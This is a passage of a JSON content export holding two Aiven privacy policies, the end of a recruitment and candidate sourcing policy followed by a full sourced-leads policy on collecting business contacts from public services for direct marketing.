Aiven."}],"markDefs":[],"style":"normal"},{"_key":"30aeb84f5b18","_type":"table","rows":[{"_key":"ad0a790f-06c6-488e-8f35-37e0e15db2c9","_type":"tableRow","cells":["Categories of personal data","Legal basis"]},{"_key":"5fd0eed7-ab1a-4681-91ee-c1de047de536","_type":"tableRow","cells":["Identity data - Contact data"," The processing is necessary to achieve legitimate interests pursued by Aiven. Aiven considers that it has a legitimate interest in imparting information and establishing a dialogue with suitable Applicants to ensure effective communication of open positions."]}]},{"_key":"317085b5fca0","_type":"block","children":[{"_key":"1a40459fa0fa0","_type":"span","marks":[],"text":"Establishing, exercising or defending legal claims"}],"markDefs":[],"style":"h3"},{"_key":"421ed304528a","_type":"block","children":[{"_key":"86950ef1ed580","_type":"span","marks":[],"text":"To the extent necessary, we may need to process your personal data in order to handle and defend possible legal claims, for example in cases of recruitment selection related disputes or legal proceedings."}],"markDefs":[],"style":"normal"},{"_key":"92a90883a95a","_type":"block","children":[{"_key":"fd50d04c10470","_type":"span","marks":[],"text":"With whom do we share your data?"}],"markDefs":[],"style":"h2"},{"_key":"41e94f6de960","_type":"block","children":[{"_key":"634437bd9ee70","_type":"span","marks":[],"text":"In order to fulfil the purposes described in this Privacy Policy, we may have to share your personal data with the parties set out below. These parties may include:"}],"markDefs":[],"style":"normal"},{"_key":"cce39335118a","_type":"block","children":[{"_key":"d3e4fe3b7a020","_type":"span","marks":[],"text":"Our relevant subsidiaries to the extent necessary to carry out the recruitment process for open positions located at our subsidiaries;"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"fa23f1b0b0c9","_type":"block","children":[{"_key":"326f5d87ee920","_type":"span","marks":[],"text":"Third-party service providers, including but not limited to, data storage, data management and recruitment service providers;"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4031e22cd30f","_type":"block","children":[{"_key":"363d3c3da76d0","_type":"span","marks":[],"text":"Courts, counterparties etc., as required to establish, exercise or defend legal claims;"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"131649bc6c62","_type":"block","children":[{"_key":"df19c1ccc7280","_type":"span","marks":[],"text":"To the extent required and necessary, competent authorities if we are obligated under law to disclose data; and"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c11d1c1adfed","_type":"block","children":[{"_key":"1ce0737d12220","_type":"span","marks":[],"text":"Prospective sellers or buyers if we are involved in a merger, acquisition, or sale of all or a portion of our assets."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"df9efa347ef9","_type":"block","children":[{"_key":"e851938331970","_type":"span","marks":[],"text":"All of our subsidiaries and third-party service providers are required to take appropriate security measures to protect your data and they may only process personal data for the purposes mentioned in this Privacy Policy and in accordance with our instructions."}],"markDefs":[],"style":"normal"},{"_key":"0e9c9d574729","_type":"block","children":[{"_key":"a2d7e3a2703f0","_type":"span","marks":[],"text":"Do we transfer personal data outside the EU / EEA?"}],"markDefs":[],"style":"h2"},{"_key":"13f9826ff5e0","_type":"block","children":[{"_key":"5c99c4cf2f330","_type":"span","marks":[],"text":"We store personal data on servers located in the European Union (\""},{"_key":"5c99c4cf2f331","_type":"span","marks":["strong"],"text":"EU"},{"_key":"5c99c4cf2f332","_type":"span","marks":[],"text":"\"). However, some of our service providers or subsidiaries may be based outside the European Economic Area (\""},{"_key":"5c99c4cf2f333","_type":"span","marks":["strong"],"text":"EEA"},{"_key":"5c99c4cf2f334","_type":"span","marks":[],"text":"\"), including the United States of America, so their processing of your personal data will involve a transfer of personal data outside the EEA."}],"markDefs":[],"style":"normal"},{"_key":"f0357fe204fc","_type":"block","children":[{"_key":"ecf7fed2efc30","_type":"span","marks":[],"text":"Whenever we transfer personal data out of the EEA, and unless a specific derogation applies, we seek to ensure that a similar degree of protection is afforded than that provided in the EEA by ensuring at least one of the following safeguards is implemented:"}],"markDefs":[],"style":"normal"},{"_key":"673d8f61c4ec","_type":"block","children":[{"_key":"3c999689f2f10","_type":"span","marks":[],"text":"Where possible, we will transfer personal data to countries that have been deemed to provide an adequate level of protection for personal data by the European Commission; or"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"25e100996310","_type":"block","children":[{"_key":"9fa7c1dbde0a0","_type":"span","marks":[],"text":"Where we use a service provider residing in a country outside the EEA that is not deemed to provide an adequate level of protection for personal data, we use specific contractual clauses approved by the European Commission (i.e., the Standard Contractual Clauses approved by the European Commission) which aim to provide personal data the same protection as it has in the EEA."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"10f1df13cc6e","_type":"block","children":[{"_key":"ce3672a1ad480","_type":"span","marks":[],"text":"Please email us at "},{"_key":"ce3672a1ad481","_type":"span","marks":["da501d2de435"],"text":"privacy@aiven.io"},{"_key":"ce3672a1ad482","_type":"span","marks":[],"text":" if you want further information on the specific mechanism used by us when transferring your personal data out of the EEA or to obtain a copy of any contractual clauses in place. Please note, however, that some details may be redacted for confidentiality reasons."}],"markDefs":[{"_key":"da501d2de435","_type":"link","href":"mailto:privacy@aiven.io"}],"style":"normal"},{"_key":"e95ae061673e","_type":"block","children":[{"_key":"24368f015a350","_type":"span","marks":[],"text":"How long do we retain personal data?"}],"markDefs":[],"style":"h2"},{"_key":"ae84bf6333c1","_type":"block","children":[{"_key":"22c552b980310","_type":"span","marks":[],"text":"We will only retain personal data for as long as it is necessary to fulfill the purposes defined in this Privacy Policy. In general, we comply with the following criteria with respect to retaining and erasing personal data:"}],"markDefs":[],"style":"normal"},{"_key":"69babc2704cb","_type":"block","children":[{"_key":"f1da185d99d60","_type":"span","marks":[],"text":"With respect to you as a Candidate, personal data are retained during the search and evaluation period. Personal data will be erased after we have contacted you to inform and offer open position at Aiven;"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"f9c8eedb999b","_type":"block","children":[{"_key":"c91cf74de1440","_type":"span","marks":[],"text":"With respect to you as an Applicant, personal data are retained for the duration of the recruitment process. After the selection decision has been made, non-selected Applicants personal data are retained for a maximum period of 2 years in order to be able to communicate new open positions as well as for safeguarding our legitimate interests in establishing, executing or defending possible legal claims."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"bd0f226f44dd","_type":"block","children":[{"_key":"c8c73a34ec9a0","_type":"span","marks":[],"text":"Please note that if you are hired as a result of your application, some of the personal data collected as part of the recruitment process may be transferred to your personnel file."}],"markDefs":[],"style":"normal"},{"_key":"9159d67f0bb7","_type":"block","children":[{"_key":"ca53b066be7b0","_type":"span","marks":[],"text":"What rights do you have?"}],"markDefs":[],"style":"h2"},{"_key":"3691e5b298fa","_type":"block","children":[{"_key":"fbabff757b030","_type":"span","marks":[],"text":"Subject to certain exemptions and limitations, you have certain rights in relation to the processing of your personal data. You have the right to:"}],"markDefs":[],"style":"normal"},{"_key":"98140a447355","_type":"block","children":[{"_key":"85c63528049e0","_type":"span","marks":[],"text":"Access your personal data;"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4fe56e3e136c","_type":"block","children":[{"_key":"b4bf4c61dd9b","_type":"span","marks":[],"text":"Update incorrect or incomplete personal data;"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d46771a019d2","_type":"block","children":[{"_key":"c9f92ffa9e0f0","_type":"span","marks":[],"text":"Object to the processing of personal data;"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"6b394390e8b5","_type":"block","children":[{"_key":"0565270b8b8b0","_type":"span","marks":[],"text":"Erase your personal data;"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"1359ac8b6bb1","_type":"block","children":[{"_key":"9dfa561e25ee0","_type":"span","marks":[],"text":"Restrict the use of your personal data;"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"549b1c0776fa","_type":"block","children":[{"_key":"984c3b5368600","_type":"span","marks":[],"text":"Data portability, meaning the right to receive your data in a structured, commonly used machine-readable format and transmit the data to another data controller; and"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"279951b6555c","_type":"block","children":[{"_key":"b398246717d00","_type":"span","marks":[],"text":"Withdraw your consent."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"fecf78cfb043","_type":"block","children":[{"_key":"0504152911c40","_type":"span","marks":[],"text":"Should you wish to exercise your above-mentioned rights, please send a request to us at "},{"_key":"0504152911c41","_type":"span","marks":["a972d7c3ec29"],"text":"privacy@aiven.io"},{"_key":"0504152911c42","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"a972d7c3ec29","_type":"link","href":"mailto:privacy@aiven.io"}],"style":"normal"},{"_key":"dc680043696f","_type":"block","children":[{"_key":"d68b2d2bf5d30","_type":"span","marks":[],"text":"In case you exercise your rights, we may need to request specific information from you to help us confirm your identity and ensure your right to access your personal data (or to exercise any of your other rights). This is a security measure to ensure that personal data is not disclosed to any person who has no right to receive it. We may also contact you to ask you for further information in relation to your request to speed up our response."}],"markDefs":[],"style":"normal"},{"_key":"032cc19518c9","_type":"block","children":[{"_key":"3ceb769151090","_type":"span","marks":[],"text":"Updates to this privacy policy"}],"markDefs":[],"style":"h2"},{"_key":"d7e0d85f7119","_type":"block","children":[{"_key":"67b46b6b198f0","_type":"span","marks":[],"text":"We may update this Privacy Policy from time to time. If we make any updates to this Privacy Policy, we will always publish the updated version on this page."}],"markDefs":[],"style":"normal"},{"_key":"81b114f9635c","_type":"block","children":[{"_key":"bba1b4153a4c0","_type":"span","marks":[],"text":"Contact us"}],"markDefs":[],"style":"h2"},{"_key":"8f1e9252fe23","_type":"block","children":[{"_key":"a3f64a916dca0","_type":"span","marks":[],"text":"If you have any questions regarding the processing of your personal data, please do not hesitate to contact us. See below for contact details:"}],"markDefs":[],"style":"normal"},{"_key":"db8656e6dfa8","_type":"block","children":[{"_key":"84b1cd90096c0","_type":"span","marks":[],"text":"Aiven Oy\nAntinkatu 1\n00100 Helsinki\nFinland"}],"markDefs":[],"style":"normal"},{"_key":"b4b624b51f77","_type":"block","children":[{"_key":"583a038a82110","_type":"span","marks":["4a8ef6d98c14"],"text":"privacy@aiven.io"}],"markDefs":[{"_key":"4a8ef6d98c14","_type":"link","href":"mailto:privacy@aiven.io"}],"style":"normal"},{"_key":"03a0b31d527b","_type":"block","children":[{"_key":"02e57b86c41f0","_type":"span","marks":[],"text":"You have the right to make a complaint at any time to the supervisory authority in your country of residence. List of the EEA supervisory authorities can be found "},{"_key":"89d966e7269e","_type":"span","marks":["fce4b2d3630d"],"text":"here"},{"_key":"05cdc78d5441","_type":"span","marks":[],"text":". In Finland, the relevant supervisory authority is the Office of the "},{"_key":"4e5235d5f734","_type":"span","marks":["d21eca3b9820"],"text":"Data Protection Ombudsman"},{"_key":"9d5f7e271dde","_type":"span","marks":[],"text":". We would, however, appreciate the chance to deal with your concerns before you approach any supervisory authority. Therefore, please contact us in the first instance."}],"markDefs":[{"_key":"fce4b2d3630d","_type":"link","href":"https://edpb.europa.eu/about-edpb/about-edpb/members_en"},{"_key":"d21eca3b9820","_type":"link","href":"https://tietosuoja.fi/en/home"}],"style":"normal"}],"publishedAt":"2022-11-23T15:03:00.000Z","seo":{"_type":"metaData","metaDescription":"Your personal information is important; that's why Aiven offers a clear recruitment and job candidate privacy policy.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-d5aeed21a61ecdc16bc7f53357ecad5fac4feaba-1200x630-jpg","_type":"reference"}},"metaTitle":"Recruitment and Candidate Sourcing Privacy Policy | Aiven"},"slug":{"_type":"slug","current":"/recruitment-and-candidate-sourcing-privacy-policy"},"title":"Recruitment and Candidate Sourcing Privacy Policy"} {"__i18n_lang":"en","_createdAt":"2022-10-04T08:02:06Z","_id":"e96c327d-9fcc-4c61-8899-8a3f39e0fec8","_rev":"2DKMiOi4Ekqsoc9oUQTvAZ","_type":"term","_updatedAt":"2023-07-13T09:42:00Z","content":[{"_key":"5bad042fc9c0","_type":"block","children":[{"_key":"e062e96b4dcf0","_type":"span","marks":[],"text":"Background"}],"markDefs":[],"style":"h2"},{"_key":"36a2abe0bb12","_type":"block","children":[{"_key":"2770325e2be80","_type":"span","marks":[],"text":"This Sourced Leads Privacy Policy (referred to as \""},{"_key":"2770325e2be81","_type":"span","marks":["strong"],"text":"Privacy Policy"},{"_key":"2770325e2be82","_type":"span","marks":[],"text":"\") informs why and how we process personal data about potential business customers, whose data we have collected from publicly available sources (referred to as \""},{"_key":"2770325e2be83","_type":"span","marks":["strong"],"text":"Lead"},{"_key":"2770325e2be84","_type":"span","marks":[],"text":"\", “"},{"_key":"2770325e2be85","_type":"span","marks":["strong"],"text":"you"},{"_key":"2770325e2be86","_type":"span","marks":[],"text":"” and jointly \""},{"_key":"2770325e2be87","_type":"span","marks":["strong"],"text":"Leads"},{"_key":"2770325e2be88","_type":"span","marks":[],"text":"\")."}],"markDefs":[],"style":"normal"},{"_key":"d6fdd43d54ac","_type":"block","children":[{"_key":"3a6c1507813c0","_type":"span","marks":[],"text":"Aiven Ltd, business ID: 2795743-5, is the data controller (referred to as \""},{"_key":"3a6c1507813c1","_type":"span","marks":["strong"],"text":"Aiven"},{"_key":"3a6c1507813c2","_type":"span","marks":[],"text":"\", \""},{"_key":"3a6c1507813c3","_type":"span","marks":["strong"],"text":"we"},{"_key":"3a6c1507813c4","_type":"span","marks":[],"text":"\" or \""},{"_key":"3a6c1507813c5","_type":"span","marks":["strong"],"text":"us"},{"_key":"3a6c1507813c6","_type":"span","marks":[],"text":"\") in relation to the processing of your personal data. As a data controller, Aiven is responsible for ensuring that personal data is processed in compliance with data protection laws. We take your data protection rights seriously and your personal data will be treated in a secure and confidential manner as set out in this Privacy Policy and as required by data protection laws."}],"markDefs":[],"style":"normal"},{"_key":"44dcd4c4929e","_type":"block","children":[{"_key":"0012840f011b0","_type":"span","marks":[],"text":"We have also designated a Data Protection Officer (“DPO”) to oversee our data protection related matters. If you have any questions or concerns about the way we use your data, you may contact our DPO by email at "},{"_key":"0012840f011b1","_type":"span","marks":["abb1668668cf"],"text":"dpo@aiven.io"},{"_key":"0012840f011b2","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"abb1668668cf","_type":"link","href":"mailto:dpo@aiven.io"}],"style":"normal"},{"_key":"6e775df46fe0","_type":"block","children":[{"_key":"56fa1e0cabcb0","_type":"span","marks":[],"text":"Where do we collect your personal data and what personal data are processed?"}],"markDefs":[],"style":"h2"},{"_key":"9d892dff3c47","_type":"block","children":[{"_key":"ae84351b33580","_type":"span","marks":[],"text":"We collect your personal data from publicly available sources by using different service providers or collecting your data manually. We collect your data from the following publicly available services (referred to as ‘"},{"_key":"d481b65fe2d2","_type":"span","marks":["strong"],"text":"’Public Services’’"},{"_key":"8a5eef05e76c","_type":"span","marks":[],"text":"):"}],"markDefs":[],"style":"normal"},{"_key":"8c22e6bc0537","_type":"block","children":[{"_key":"336849ba04ee0","_type":"span","marks":[],"text":"ZoomInfo"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"7aa97826b0e8","_type":"block","children":[{"_key":"42d2f5f151640","_type":"span","marks":[],"text":"LinkedIn"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"0b27c380ab86","_type":"block","children":[{"_key":"c46b4d85913d0","_type":"span","marks":[],"text":"LeadIQ"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"43f411e534be","_type":"block","children":[{"_key":"002beece6796","_type":"span","marks":[],"text":"6Sense"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d1b9c381f63a","_type":"block","children":[{"_key":"6999b8e1652c0","_type":"span","marks":["strong"],"text":"Personal data available in the Public Service(s)"}],"markDefs":[],"style":"normal"},{"_key":"95cea8e8330c","_type":"block","children":[{"_key":"432150e230d70","_type":"span","marks":[],"text":"When you create your public profile in any of the Public Services you can choose what information you set to be public and to what extent search engines can access your personal data. You can restrict search engines from accessing your public profile by changing certain profile settings available or by changing or removing the personal data available in the Public Services."}],"markDefs":[],"style":"normal"},{"_key":"978be97a9a95","_type":"block","children":[{"_key":"c3d1f10574d20","_type":"span","marks":[],"text":"We collect the following categories of personal data from the Public Services:"}],"markDefs":[],"style":"normal"},{"_key":"21bdc2e2bc3b","_type":"block","children":[{"_key":"6615fd0339840","_type":"span","marks":[],"text":"Identity and contact information of the Leads (e.g. full name, email address, telephone number)"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"dfc4ae6b0f70","_type":"block","children":[{"_key":"d2466a3306c20","_type":"span","marks":[],"text":"Lead’s company related data (e.g. title, position, field of the company)"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e58b34f54856","_type":"block","children":[{"_key":"e0ecefea146d0","_type":"span","marks":[],"text":"What is the purpose and lawful basis for processing your data?"}],"markDefs":[],"style":"h2"},{"_key":"b4b17a58bcf8","_type":"block","children":[{"_key":"0d2df184d0d30","_type":"span","marks":[],"text":"We have identified the purposes for processing your personal data as provided in the table below. These purposes each relate to a lawful basis for processing, as required by data protection laws."}],"markDefs":[],"style":"normal"},{"_key":"47fc076a676d","_type":"table","rows":[{"_key":"b6859899-bf96-40a1-b87e-10ddd0b43ff7","_type":"tableRow","cells":["Purpose for processing","Lawful basis"]},{"_key":"fc91c284-141c-4141-956d-392072ed95b2","_type":"tableRow","cells":["Evaluate potential Leads in order to offer Aiven products and services by direct marketing. The processing in this regard includes categorizing and evaluating Leads’ interest in Aiven’s products and services by evaluating the position, title and the company the Lead works for.","The processing is necessary to achieve the legitimate interests pursued by Aiven. Aiven considers that it has a legitimate interest in carrying out direct marketing for attracting and offering services to high caliber leads."]}]},{"_key":"20b93bf4db72","_type":"block","children":[{"_key":"04d6586bbbff0","_type":"span","marks":[],"text":"We will only use your personal data for the purposes for which we collected it, unless we reasonably consider that we need to use it for another reason and that reason is compatible with the original purpose."}],"markDefs":[],"style":"normal"},{"_key":"f637e8579b4a","_type":"block","children":[{"_key":"f9da682b11b10","_type":"span","marks":[],"text":"How do we perform the searches?"}],"markDefs":[],"style":"h2"},{"_key":"e0cc096259ab","_type":"block","children":[{"_key":"5a494f2b401b0","_type":"span","marks":[],"text":"When we are looking for Leads, we always have certain predefined criteria to which against we perform the searches. The predefined criteria consists of the following information regarding the Lead (the combination used in each search may vary):"}],"markDefs":[],"style":"normal"},{"_key":"ada71cc786e6","_type":"block","children":[{"_key":"4cd9657d3adf0","_type":"span","marks":[],"text":"Company information"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"786ba67a7820","_type":"block","children":[{"_key":"1b68e8a5c0800","_type":"span","marks":[],"text":"Company field of business"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4958ebeda3c2","_type":"block","children":[{"_key":"afb850a4f35a0","_type":"span","marks":[],"text":"Technology used by the company"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"bb13dfc1deed","_type":"block","children":[{"_key":"871e0d5620960","_type":"span","marks":[],"text":"Job offers (e.g. Kafka engineers)"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"53b227d1f5e3","_type":"block","children":[{"_key":"31bf15ecfd980","_type":"span","marks":[],"text":"Title"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"565be507623e","_type":"block","children":[{"_key":"544f1b824f4d0","_type":"span","marks":[],"text":"Other similar company related information"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"f66fbb0b491f","_type":"block","children":[{"_key":"95fbbc457d470","_type":"span","marks":[],"text":"In other words, we use pre-determined criteria and automated means to process personal data and create profiles of Leads. Although the processing may amount to profiling, as defined in data protection laws, we do not carry out any automated decision making that would have legal effects or similarly significant effects on the Leads."}],"markDefs":[],"style":"normal"},{"_key":"5c875a9bcdf3","_type":"block","children":[{"_key":"3469031d808c0","_type":"span","marks":[],"text":"After performing the search, our marketing staff will always review the results and decide which Leads to contact. In addition, before communicating, our marketing staff may also manually check the potential Lead’s profile in Public Services in order to determine whether the Lead or Lead’s company could be interested in or benefit from using Aiven products and services."}],"markDefs":[],"style":"normal"},{"_key":"c8ef3d8dcf3f","_type":"block","children":[{"_key":"e623ccbb70cc0","_type":"span","marks":[],"text":"To whom we share your data?"}],"markDefs":[],"style":"h2"},{"_key":"16c82901ba52","_type":"block","children":[{"_key":"296d62a22c480","_type":"span","marks":[],"text":"We may have to share your personal data with the parties set out below for the purposes described in this Privacy Policy. These parties include:"}],"markDefs":[],"style":"normal"},{"_key":"e06fc2057588","_type":"block","children":[{"_key":"78593604d72e0","_type":"span","marks":[],"text":"Service providers who provide IT and system administration services, including our email service provider and CRM service providers."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"a4f4215d05d7","_type":"block","children":[{"_key":"89a07deb57b10","_type":"span","marks":[],"text":"All of our subsidiaries and third party service providers are required to take appropriate security measures to protect your data and they may only process personal data for the purposes mentioned in this Privacy Policy and in accordance with our instructions. We never sell your personal data."}],"markDefs":[],"style":"normal"},{"_key":"24e1d6cb97b2","_type":"block","children":[{"_key":"bbb4630e0476","_type":"span","marks":[],"text":"Do we transfer personal data outside the EU/EEA?"}],"markDefs":[],"style":"h2"},{"_key":"3c798ea6946f","_type":"block","children":[{"_key":"f386c105fc650","_type":"span","marks":[],"text":"We store personal data on servers located in the European Union (\""},{"_key":"d15ffe4ef2f7","_type":"span","marks":["strong"],"text":"EU"},{"_key":"c6bc6e301368","_type":"span","marks":[],"text":"\"). However, some of our service providers or subsidiaries may be based outside the European Economic Area (\""},{"_key":"b8ac3a54361a","_type":"span","marks":["strong"],"text":"EEA"},{"_key":"82d8eba1b164","_type":"span","marks":[],"text":"\"), including the United States of America, so their processing of your personal data will involve a transfer of personal data outside the EEA."}],"markDefs":[],"style":"normal"},{"_key":"5bb9c5c17fc9","_type":"block","children":[{"_key":"d3334e65d1a30","_type":"span","marks":[],"text":"Whenever we transfer personal data out of the EEA, and unless a specific derogation applies, we seek to ensure that a similar degree of protection is afforded than that provided in the EEA by ensuring at least one of the following safeguards is implemented:"}],"markDefs":[],"style":"normal"},{"_key":"e7812573e2ae","_type":"block","children":[{"_key":"f462cc7a548f0","_type":"span","marks":[],"text":"Where possible, we will transfer personal data to countries that have been deemed to provide an adequate level of protection for personal data by the European Commission"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"f6ad263599b4","_type":"block","children":[{"_key":"70589b5c46bc0","_type":"span","marks":[],"text":"Where we use a service provider residing in a country outside the EEA that is not deemed to provide an adequate level of protection for personal data, we use specific contractual clauses approved by the European Commission (i.e. the Standard Contractual Clauses approved by the European Commission) or binding corporate rules approved by a competent data protection authority for the service provider which aim to provide personal data the same protection as it has in the EEA"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4e9970a679a4","_type":"block","children":[{"_key":"19f3712b51af","_type":"span","marks":[],"text":"Please email us at "},{"_key":"885cde394a15","_type":"span","marks":["a3a58693b7c2"],"text":"privacy@aiven.io"},{"_key":"2a80b164af162","_type":"span","marks":[],"text":" if you want further information on the specific mechanism used by us when transferring your personal data out of the EEA or to obtain a copy of any contractual clauses in place, although some details may be redacted for confidentiality reasons. "}],"markDefs":[{"_key":"a3a58693b7c2","_type":"link","href":"mailto:privacy@aiven.io"}],"style":"normal"},{"_key":"6bb116c752d6","_type":"block","children":[{"_key":"d3ba3e00d8430","_type":"span","marks":[],"text":"How long will we retain personal data?"}],"markDefs":[],"style":"h2"},{"_key":"d14ea349425c","_type":"block","children":[{"_key":"e1cb255a3ee40","_type":"span","marks":[],"text":"We will only retain personal data for as long as necessary to fulfill the purposes defined in this Privacy Policy. In general, we comply with the following criteria with respect to retaining and erasing personal data:"}],"markDefs":[],"style":"normal"},{"_key":"8fa5579240d4","_type":"block","children":[{"_key":"1b3b464f46550","_type":"span","marks":[],"text":"Personal data are retained during the search and after when we perform direct marketing. Following this, personal data will be erased when we have no active marketing campaigns"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8cb4e66d5244","_type":"block","children":[{"_key":"cf7aa38101f9","_type":"span","marks":[],"text":"What rights do you have?"}],"markDefs":[],"style":"h2"},{"_key":"82fc5a54243c","_type":"block","children":[{"_key":"27121448bdbb0","_type":"span","marks":[],"text":"Subject to certain exemptions and limitations, you have certain rights in relation to the processing of your personal data. You have the right to:"}],"markDefs":[],"style":"normal"},{"_key":"63f5ed04cc35","_type":"block","children":[{"_key":"c4d2eae5a9280","_type":"span","marks":[],"text":"Access your personal data"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4b02023c2778","_type":"block","children":[{"_key":"866e65082b250","_type":"span","marks":[],"text":"Update incorrect or incomplete personal data"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"757221d98ae2","_type":"block","children":[{"_key":"911c339ae11c0","_type":"span","marks":[],"text":"Object to the processing of personal data"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"5803ad24d21c","_type":"block","children":[{"_key":"8db9a5307a7f0","_type":"span","marks":[],"text":"Erase your personal data"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"59254514cd48","_type":"block","children":[{"_key":"e8c79490246a0","_type":"span","marks":[],"text":"Restrict the use of your personal data"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ad37dde4769c","_type":"block","children":[{"_key":"fea636d5913c0","_type":"span","marks":[],"text":"The right to object processing, that is based on legitimate interest"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"7e65e82f9d08","_type":"block","children":[{"_key":"fdf0f399c5c40","_type":"span","marks":[],"text":"If we would process personal data on the basis of your consent, you will have the right to withdraw your consent at any time"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"695308559da0","_type":"block","children":[{"_key":"1cb7a5c4d3f90","_type":"span","marks":[],"text":"Should you wish to exercise your above mentioned rights, please send a request to us at "},{"_key":"1cb7a5c4d3f91","_type":"span","marks":["dcdfe84c5da6"],"text":"privacy@aiven.io"},{"_key":"1cb7a5c4d3f92","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"dcdfe84c5da6","_type":"link","href":"mailto:privacy@aiven.io"}],"style":"normal"},{"_key":"37b8ad04a10c","_type":"block","children":[{"_key":"c3d2233ad9530","_type":"span","marks":[],"text":"In case you exercise your rights, we may need to request specific information from you to help us confirm your identity and ensure your right to access your personal data (or to exercise any of your other rights). This is a security measure to ensure that personal data is not disclosed to any person who has no right to receive it. We may also contact you to ask you for further information in relation to your request to speed up our response."}],"markDefs":[],"style":"normal"},{"_key":"b85e5f31c852","_type":"block","children":[{"_key":"c7b999af78090","_type":"span","marks":[],"text":"Updates to this privacy policy"}],"markDefs":[],"style":"h2"},{"_key":"66fffe7d26aa","_type":"block","children":[{"_key":"b07616a837b00","_type":"span","marks":[],"text":"We may update this Privacy Policy from time to time. If we make any updates to this Privacy Policy, we will always publish the updated version on this page."}],"markDefs":[],"style":"normal"},{"_key":"c9490bb49b60","_type":"block","children":[{"_key":"f77bf46469460","_type":"span","marks":[],"text":"Contact"}],"markDefs":[],"style":"h2"},{"_key":"5110ec17d8e1","_type":"block","children":[{"_key":"3e12c6392bbc0","_type":"span","marks":[],"text":"If you have any questions regarding the processing of your personal data, please do not hesitate to contact us. See below for contact details:"}],"markDefs":[],"style":"normal"},{"_key":"af3315c7dd64","_type":"block","children":[{"_key":"75e3f3453f1c0","_type":"span","marks":[],"text":"Aiven Oy\nAntinkatu 1, \n00100 Helsinki, \nFinland\n"},{"_key":"738f416342100","_type":"span","marks":["eba822d80650"],"text":"privacy@aiven.io"}],"markDefs":[{"_key":"eba822d80650","_type":"link","href":"mailto:privacy@aiven.io"}],"style":"normal"},{"_key":"87e2259dce99","_type":"block","children":[{"_key":"66770013bd6a0","_type":"span","marks":[],"text":"You have the right to make a complaint at any time to the supervisory authority in your country of residence. A list of the EEA supervisory authorities can be found here: "},{"_key":"66770013bd6a1","_type":"span","marks":["cc3f39e2554a"],"text":"https://edpb.europa.eu/about-edpb/about-edpb/members_en"},{"_key":"66770013bd6a2","_type":"span","marks":[],"text":". In Finland, the relevant supervisory authority is the Office of the Data Protection Ombudsman: "},{"_key":"66770013bd6a3","_type":"span","marks":["aa133512a252"],"text":"https://tietosuoja.fi/en/home"},{"_key":"66770013bd6a4","_type":"span","marks":[],"text":". We would, however, appreciate the chance to deal with your concerns before you approach any supervisory authority so please contact us in the first instance."}],"markDefs":[{"_key":"cc3f39e2554a","_type":"link","href":"https://edpb.europa.eu/about-edpb/about-edpb/members_en"},{"_key":"aa133512a252","_type":"link","href":"https://tietosuoja.fi/en/home"}],"style":"normal"}],"publishedAt":"2023-07-13T09:41:49.629Z","seo":{"_type":"metaData","excludeFromSitemap":true,"metaDescription":"This Privacy Policy informs why and how we process personal data about potential business customers, whose data we have collected from publicly available sources.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-d5aeed21a61ecdc16bc7f53357ecad5fac4feaba-1200x630-jpg","_type":"reference"}},"metaTitle":"Sourced Leads Privacy Policy"},"slug":{"_type":"slug","current":"/sourced-leads-privacy-policy"},"title":"Sourced Leads Privacy Policy"} 